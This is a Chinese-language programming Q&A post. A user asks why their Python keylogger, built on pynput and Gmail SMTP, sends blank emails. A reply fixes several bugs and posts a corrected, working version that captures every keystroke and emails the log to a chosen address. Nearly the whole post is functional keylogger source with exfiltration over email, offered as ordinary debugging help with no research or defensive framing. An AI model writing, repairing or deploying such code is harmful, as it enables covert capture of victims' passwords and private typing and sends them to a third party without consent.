尝试记录击键并将它们发送到我的电子邮件，但收到一封空白电子邮件

Question

这个代码应该记录我的击键并将它们发送到我的电子邮件（我现在从代码中取出）。我确实收到了电子邮件，但是它没有通过按键发送它们，每封电子邮件都是空白的。有谁知道如何解决这个问题？

import smtplib
import pynput
from pynput.keyboard import Key, Listener

email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 10


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ""
    elif key == Key.shift or Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char: f"{key}"
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return False


def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )


with Listener(on_press=on_press) as listener:
    listener.join()

我只是做了一些更改并让它工作。您的 full_log 变量存在问题。第一个elif 语句的条件部分存在错误，您的条件应为key == Key.shift or key == Key.shift_r。 char: f"{key}" 出现错误。应该是char = f"{key}"。您忘记的另外两个重要声明是

full_log += word
word = ""

这些行需要包含在末尾，以便将单词连接到full_log 变量。除此之外，现在一切正常。

以下是您的代码的更正版本。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener

full_log = ""
word = ""
email_char_limit = 10


def send_log(log):
    print(log)
    
    email_user = 'from mail address here'
    email_password = 'password'
    email_send = 'to mail address here'

    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To'] = email_send
    msg['Subject'] = subject

    body = log
    msg.attach(MIMEText(body, 'plain'))

    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email_user, email_password)

    server.sendmail(email_user, email_send, text)
    server.quit()


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log(full_log)
            full_log = ""
    elif key == Key.shift or key == Key.shift_r:
        return None
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f"{key}"
        char = char[1:-1]
        word += char

    full_log += word
    word = ""

    if key == Key.esc:
        return False

    #print(full_log)


with Listener(on_press=on_press) as listener:
    listener.join()
